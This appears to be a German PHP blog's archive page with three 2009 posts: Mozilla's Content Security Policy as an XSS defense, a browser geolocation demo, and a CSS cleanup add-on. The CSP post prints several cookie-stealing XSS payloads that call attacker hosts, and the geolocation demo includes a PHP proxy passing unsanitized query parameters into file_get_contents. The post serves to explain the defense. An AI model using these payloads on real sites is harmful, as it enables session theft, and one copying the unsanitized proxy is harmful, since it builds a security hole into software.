PHP Blog von PHPGangsta

Archive for the ‘firefox’ tag

XSS-Angriffe erschweren mit CSP, der neuen Idee von Mozilla/Firefox

with 5 comments

Die Entwickler bei Mozilla haben hart gearbeitet und sich eine gute Strategie ausgedacht, wie man in Zukunft Cross-Site-Scripting (XSS) erschweren kann (Achtung: unterbinden wird man es (noch) nicht können!). Viele Browserhersteller loben die Firefox-Entwickler dafür und werden die Funktionalität auch einbauen, um das Web ein wenig sicherer zu machen.

XSS ist im Grunde das böse Einfügen von externem Javascript-Code, um im Kontext einer Webseite schädliche Funktionen aufzurufen. XSS-Angriffe haben in den letzten Jahren massiv zugenommen und sind mittlerweile auf Platz 1 der Hitliste aller Internet-Angriffe. Ein einfaches Beispiel ist das folgende:

Nehmen wir an, wir haben ein Gästebuch (oder ein Blog, einen Chat oder irgendeinen anderen Web 2.0 Dienst erstellt, wo User eigenen Content beisteuern können) programmiert, und wir haben bei der Programmierung nicht aufgepasst. Nehmen wir an, wir hätten auf Serverseite bei irgendeinem Formular-Script das Entschärfen der POST-Variablen vergessen, sodass alles, was ein User im Formular eingibt, später auf der Seite von anderen Usern gelesen werden kann.

Jemand, der uns Böses will, könnte nun also beispielsweise im Namensfeld folgendes eingeben:

Leo<script type="text/javascript">document.location="http://www.hacker.com/stealer.php?cookie=" + document.cookie;</script>

Diese Zeichenfolge wird nun in einer Datenbank gespeichert, und alle zukünftigen Benutzer finden dann zum Beispiel diesen Code, wenn sie die Seite besuchen:

<div id="name">Leo<script type="text/javascript">document.location="http://www.hacker.com/stealer.php?cookie=" + document.cookie;</script></div>

Bei jedem Besucher wird nun also der Javascript-Code ausgeführt, der den Cookie dieser Domain an den Server des Hackers schickt. Man könnte sich auch vorstellen, dass der Javascript-Code die Inhalte der Webseite (Kontostand, Freunde, private Einstellungen etc), die sich auf der Webseite befinden, via Javascript versendet. Das böse Javascript hat volle Kontrolle über das DOM.

Hier noch drei Beispiele:

<a href="java script:document.location='http://www.host.com/mysite/stealer.php?cookie='+document.cookie;">Click here!</a>

<script>java script:getelementbyid("Boom").innerHTML="<iframe width=0 height=0 borderwidth=0 src='http://www.site.com/?c='+document.cookie+'&r='+document.location></iframe>";</script>

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

Hier gibt es eine unheimliche Sammlung, wie man Javascript “verstecken” kann.

Als erstes sollte man natürlich alle Zeichen in HTML-Entities umwandeln mittels htmlentities(). Man sollte KEINEM UserContent vertrauen und es bestmöglich escapen und entschärfen. Das ist jedoch nicht immer ganz einfach, und auch wenn man selbst dran denkt, irgendwann kommt ein Azubi und vergisst es irgendwo bei einem neuen Feature, und schon ist die Seite bzw. deren Besucher angreifbar.

Der neue Ansatz ist nun, die Nutzung von Javascript auf seiner Seite zu kontrollieren bzw. verbieten zu können. Dazu gibt es einen neuen HTML-META-Tag, der das steuert: X-Content-Security-Policy

Mozilla hat es also Content-Security-Policy (CSP) getauft. Ein solcher Eintrag sieht zum Beispiel so aus:

<meta http-equiv="X-Content-Security-Policy" content="allow self" />

oder wenn Content auch von einigen wenigen externen Seiten erlaubt sein soll:

<meta http-equiv="X-Content-Security-Policy" content="allow self; img-src *; object-src media1.com media2.com; script-src userscripts.example.com" />

In diesem Fall wird Content nur erlaubt, wenn er von der selben Domain stammt, mit Ausnahme von Bildern, die überall liegen dürfen, Objects die nur von media1.com oder media2.com kommen dürfen, und externe Scripte, die nur von userscripts.example.com geladen werden dürfen. Damit kann man also, je strikter man ist, schon sehr vieles abfangen. Man rüstet sich außerdem für die Zukunft, wenn eventuell neue Sicherheitslücken gefunden werden. Man schützt seine Besucher also aktiv, denn man kann seinen Besuchern ja nicht empfehlen, Javascript zu deaktivieren, denn wir wollen es ja auch nutzen für unsere tolle Web 2.0 Seite.

CSP bietet auch die Möglichkeit, das Protokoll aller Links zu bestimmen, denn wenn man seine Seite komplett verschlüsselt anbietet, möchte man vermeiden, dass Cracker Links einschmuggeln, die nicht verschlüsselt aufgerufen werden. Man verschlüsselt ja die Verbindung, um Mithörern den Inhalt nicht zu verraten. Einige Man-in-the-Middle-Attacken schaffen es aber, Links einzuschleusen, sodass plötzlich einige Links/Requests unverschlüsselt über den Äther gehen, und der Angreifer dann zB die Cookies mitschneiden könnte.

Es gab vor einiger Zeit auch eine Lücke in Javascript, über die ein Cracker herausfinden konnte, ob man auf bestimmten Seiten war. Dazu werden einfach verschiedene Links unsichtbar generiert, und mit Hilfe von CSS und Javascript geprüft, ob der Browser die Links beispielsweise pink anzeigt, wie es einige Browsern bei bereits besuchten URLs macht. Hier gibt es Details und Beispielcode. Mit Javascript ist also viel möglich, und es werden in Zukunft sicher noch weitere Lücken entdeckt und ausgenutzt. Deshalb ist es wichtig, XSS zu verhindern.

CSP bietet auch die Möglichkeit zu bestimmen, dass die eigene Seite nie in einem Frame angezeigt werden darf. Das ist auch häufig gewünscht, um “Content-Dieben” das Leben schwerer zu machen.

Man wird außerdem dazu “gezwungen”, keinen Inline-Javascript mehr zu schreiben, sondern Javascript schön in externe Javascript-Dateien zu packen, was sowieso besserer Stil ist und bevorzugt werden sollte (Trennung Präsentations-Markup von Script-Funktionalität).Da kein Inline-Javascript mehr ausgeführt wird, sobald man den Header setzt, sondern nur noch Javascript aus den vertrauenswürdigen Quellen geladen wird, kann es relativ umfangreich sein, bei alten Webseiten die viel mit Inline-Javascript arbeiten, dies umzustellen. Aber wahrscheinlich ist es den Aufwand wert, denn es steigert die Sicherheit der Seite ungemein.

CSP hat noch die “Nebeneffekte” bzw. sekundären Ziele, Clickjacking und Packet-Sniffing zu unterbinden. Clickjacking ist das Einblenden von transparenten Frames, um den User dazu zu bringen, auf eine bestimmte Stelle zu klicken und damit möglicherweise nicht gewollte Aktionen auszuführen. Es gab auch Angriffe, die ein Flash-Applet eingebaut haben, das auf das Microphone und die Webcam zugreifen wollten. Die Cracker konnten mit Hilfe von Javascript und CSS diese Abfrage von Flash nahezu unsichtbar machen, und egal wo man hinklickt, der unsichtbare “Erlauben” Knopf befindet sich immer unter der Maus. Plötzlich sendet man also, ohne dass man das möchte, sein Webcam-Bild und Audio an eine fremde Seite. Hier gibt es dazu weitere Details und ein Video. Mehr dazu hier in den Zielen von CSP. Übrigens, wenn ein Browser CSP noch nicht versteht, ignoriert er den META-Tag einfach. Es hat also keine Nachteile es zu aktivieren, und man verliert keine Besucher oder muss umfangreiche Browserweichen einbauen.

Wo es Licht gibt, gibt es auch Schatten. Durch Man-in-the-Middle-Attacken bei unverschlüsselten Verbindungen könnte es auch sein, dass Header-Injection-Angriffe in Zukunft zunehmen werden. Damit wollen Angreifer den CSP-Header entfernen oder verändern. Außerdem wird es auf lange Zeit noch Browser geben, die den META-Tag nicht verstehen, es ist also Pflicht, nach wie vor XSS aktiv zu vermeiden und zu bekämpfen, und sich nicht auf den neuen META-Tag zu verlassen.

Das offiziele Paper dazu findet ihr auf den Mozilla-Seiten, inclusive ausführlicher Beschreibungen, Demos und einem Firefox-Build mit der neuen Funktionalität zum Testen. Mit Firefox 3.6 oder 3.7 wird es offiziell verbreitet werden, sobald die letzten Funktionalitäten eingebaut sind.

Es soll auch einen Origin-Header geben, der Cross-Site-Request-Forgery unterbinden soll. Details dazu hier auch wieder bei Mozilla.

Wir können uns also darauf freuen und hoffen, dass die großen Browser es bald einbauen werden, und das Web ein Stück sicherer wird.

Written by Michael Kliewe

November 19th, 2009 at 12:25 am

GeoLocation mit modernen Browsern

with 8 comments

Der ein oder andere von euch hat vielleicht schonmal mit GeoLocations experimentiert. Es gibt freie GeoDatenbanken und GeoIP-Datenbanken, mit denen man eine IP-Adresse umwandeln kann in einen Ort (bzw. Region/Land).

Als ich nun vor einigen Monaten hörte, dass der Firefox bald eine neue GeoLocation-Funktionalität erhält, womit dann viele neue standortabhängige Dienste möglich sind, war ich gespannt was tolles neues dabei rauskommt. Zuerst dachte ich, dass man im Browser seine Daten eingibt, und dann sendet das der Browser an die Webseite, falls die das wissen möchte.

Doch ich habe die Rechnung ohne die ganzen mobilen Geräte gemacht, für die das Feature primär interessant ist (ich selbst habe zwar einen PDA, aber keinen Internet-Daten-Tarif, deshalb hab ich daran nicht wirklich gedacht).

Was kann das Feature nun? Es passiert folgendes: Falls die Webseite die GeoLocation ermitteln möchte, bekommt der Benutzer eine Frage präsentiert:

geolocation1

Man kann dann entscheiden, ob man diese Informationen senden möchte oder nicht. Falls man “Ja” klickt, wird die IP-Adresse an einen Google-Service geschickt. Außerdem werden noch GPS-Informationen und erreichbare WLAN-Netze (incl. ermittelter Empfangsstärke) versendet an Google Location Services. Daraus kann Google dann eine mehr oder weniger genaue Position ermitteln (bei GPS natürlich sehr genau bis auf wenige Meter, bei WLAN-Informationen kann es auch schon sehr ungenau werden, je nachdem wieviele WLANs da sind und ob diese bereits kartographiert wurden).

Diese Standort-Information erhält dann der Browser, und dann kann diese Information mittels Javascript API abgefragt werden. Das hier sind die Informationen, die man erhält:

geolocation3

Man erhält also die Angaben in Form von Latitude und Longitude, sowie evtl. weitere GPS-Informationen wie Höhe, Geschwindigkeit usw. Falls man diese Informationen in einen Ortsnamen umwandeln möchte, benötigt man entweder wieder eine Datenbank mit Informationen oder man nutzt einen Webservice, der das selbe tut.
In meiner Demo nutze ich letzteres, und lasse anhand der Latitude/Longitude den Namen der Stadt ermitteln, dazu nutze ich www.geonames.org.

Inklusive Stadt sieht das Endergebnis dann so aus:

geolocation5

Wie sieht das nun im Quelltext aus? Eigentlich sehr übersichtlich:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
<head>

    <title>PHP Gangsta Geolocation</title>
    <SCRIPT TYPE="text/javascript" SRC="http://ajax.googleapis.com/ajax/libs/dojo/1.3/dojo/dojo.xd.js"></SCRIPT>

    <script type="text/javascript">
        function startgeolocation() {
            // Check for geoLocation Support
            if (navigator.geolocation) {
                // the location is looked up only once
                navigator.geolocation.getCurrentPosition(renderPosition, renderError);
                // every time the location changes
                // navigator.geolocation.watchPosition(renderPosition, renderError);
            } else {
            	dojo.byId('geoResults').innerHTML = '<p>Your browser does not support geolocation.</p>';
            }
        }

        // I use Dojo to render the output and do an AJAX call to get city name
        function renderPosition(position) {
            if (!window.count) window.count = 0;

            count ++;
            // var urlJSON = 'http://ws.geonames.org/findNearbyPlaceNameJSON?lat=-36.9104718&lng=174.9133483';
            var urlJSON = 'geonames.php?lat='+position.coords.latitude+'&lon='+position.coords.longitude;

            dojo.byId('d').innerHTML = '<div id="results" style="width: 200px; height: 200px; text-align: left"><p>'
                            + 'Latitude: ' + position.coords.latitude + '<br />'
                            + 'Longitude: ' + position.coords.longitude + '<br />'
                            + 'Accuracy: ' + position.coords.accuracy + '<br />'
                            + 'Update number: ' + count + '<br />'
                            + 'Altitude: ' + position.coords.altitude + '<br />'
                            + 'Altitude accuracy: ' + position.coords.altitudeAccuracy + '<br />'
                            + 'Heading: ' + position.coords.heading + '<br />'
                            + 'Speed: ' + position.coords.speed + '<br />'
                            + 'Google Maps: <a href="http://maps.google.com/maps?geocode=&q=' +
                            			position.coords.latitude + '+' + position.coords.longitude +
                            			'">Click</a><br />'
                            + '</p></div>';

            // now get the XML reverse geo data
           dojo.xhrGet( { //
		        // The following URL must match that used to test the server.
		        url: urlJSON,
		        handleAs: "json",
		        timeout: 5000, // Time in milliseconds
		        // The LOAD function will be called on a successful response.
		        load: function(responseObject, ioArgs) {
		        	for each (var item in responseObject.geonames) {
		        		dojo.byId('jsonResults').innerHTML = '<p>You live in: ' + item.name + '</p>';
		        	}
		          	return responseObject;
		        },
		        // The ERROR function will be called in an error case.
		        error: function(responseObject, ioArgs) { //
		          	console.error("HTTP status code: ", ioArgs.xhr.status); //
		          	return responseObject;
	          	}
		    });
        }

        function renderError() {
        	dojo.byId('geoResults').innerHTML = '<p>The page could not get your location.</p>';
        }
    </script>
</head>

<body onload="startgeolocation();">

	<div align="center">
	<h1>GeoLocation Demo</h1>
	<div id="geoResults">
	    <div id="d"><img src="loadingAnimation.gif" /></div>
	    <div id="jsonResults">city information are fetched...</div>
	</div>

</body>
</html>

Das einzig verwunderliche ist vielleicht der AJAX-Aufruf. Ich hatte ja geschrieben, dass ich den Namen der Stadt von geonames.org holen möchte. Da die Cross-Domain-Policy nur einen Ajax-Aufruf zum selben Server erlaubt, brauchen wir ein kleines “Proxy-Script”, welches so aussieht:

<?php
echo file_get_contents('http://ws.geonames.org/findNearbyPlaceNameJSON?lat='.$_GET['lat'].'&lng='.$_GET['lon']);
?>

Damit umgehen wir die Cross-Domain-Policy und erhalten unser Ergebnis in JSON-Form. Das war auch schon der ganze Zauber.

Aktuell beherrschen meines Wissens nach der Firefox 3.5, Chrome und die aktuellen Beta-Versionen von Safari und Opera diese Funktionalität. Google Gears bietet eine ähnliche Funktionalität (browserübergreifend), aber ich kennen niemanden, der Gears installiert hat.
Man kann übrigens im Firefox den Location Service ändern, falls man Google nicht mag:
geolocation4

Falls ihr ein Handy mit Internet habt, könnt ihr auch mal Google Maps Mobile ausprobieren. Außerdem könnt ihr hier mein Demo-Script ausprobieren.

Ich bin gespannt, was für interessante Dienste da bald aus dem Boden sprießen. Ich meine schonmal etwas gehört zu haben von “gucken wo Freunde gerade sind” und sowas. Ich bin auch gespannt, wann ich endlich ein neues Handy mit Datentarif bekomme…

Written by Michael Kliewe

September 10th, 2009 at 10:33 am

Posted in PHP

Tagged with , ,

CSS aufräumen mit “Dust-Me Selectors”

with 8 comments

Ein tolles Firefox-Addon habe ich in meinem Repertoire gefunden, das ich euch vorstellen möchte: Dust-Me Selectors.

Damit kann man einfach seine Seite durch browsen, und das Addon zeigt an, welche CSS-Selektoren geladen werden, welche davon genutzt werden und welche nicht genutzt werden. Es findet sowohl inline-CSS als auch externe CSS-Dateien.
Alternativ kann man auch eine Sitemap angeben, die dann genutzt wird, um alle HTML-Seiten nach ungenutztem CSS zu durchsuchen.

Dann kann man sich speziell die nicht genutzten angucken, ob sie wirklich nicht mehr genutzt werden, und dann entfernen, um die CSS-Datei von Altlasten, Test-Selektoren usw zu befreien. Man sollte allerdings aufpassen beim Entfernen, es könnte ja sein, dass man einfach die eine Seite vergessen hat, wo der spezielle Selektor genutzt wird. Ich durchsuche auf jeden Fall noch meine Templates und View-Scripte nach dem Selector, bevor ich ihn lösche.

dustme0

dustme1

Mehr wollte ich eigentlich heute garnicht schreiben ;-)

Written by Michael Kliewe

August 26th, 2009 at 9:28 am

Posted in PHP

Tagged with , , , ,

7 Besucher online
7 Gäste, 0 Mitglied(er)
Meiste Besucher heute: 11 um/am 07:51 am CET
Diesen Monat: 61 um/am 03-11-2010 10:25 am CET
Dieses Jahr: 61 um/am 03-11-2010 10:25 am CET
Jederzeit: 61 um/am 03-11-2010 10:25 am CET